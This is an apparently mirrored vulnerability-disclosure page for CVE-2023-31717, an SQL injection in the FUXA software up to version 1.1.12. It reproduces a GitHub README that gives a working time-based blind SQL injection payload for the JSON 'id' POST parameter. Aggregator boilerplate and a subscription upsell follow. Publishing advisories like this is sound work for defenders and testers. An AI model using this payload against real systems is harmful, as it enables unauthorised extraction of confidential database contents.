CVE-2023-31717 PoC — FUXA SQL注入漏洞

Source

https://github.com/MateusTesser/CVE-2023-31717

Associated Vulnerability

Title:FUXA SQL注入漏洞 (CVE-2023-31717)
Description:A SQL Injection attack in FUXA <= 1.1.12 allows exfiltration of confidential information from the database.

Readme

# CVE-2023-31717

It is possible to do SQL Injection into the HTTP POST id parameter passed in the body as json, being able to extract confidential information from the SQLite database

Payload -> "id":"n_7c734712-aabf4eb3' AND 2630=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND 'MIZH'='MIZH"

Name Affected product: FUXA

Version affected: <= 1.1.12

Problem: SQL Injection

Description:  It is possible to do SQL Injection into the HTTP POST id parameter passed in the body as json, being able to extract confidential information from the SQLite database

File Snapshot


 [4.0K]  /data/pocs/c831f12b1261e7542a5807a99724ab69b43d9307
└── [ 586]  README.md

0 directories, 1 file

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!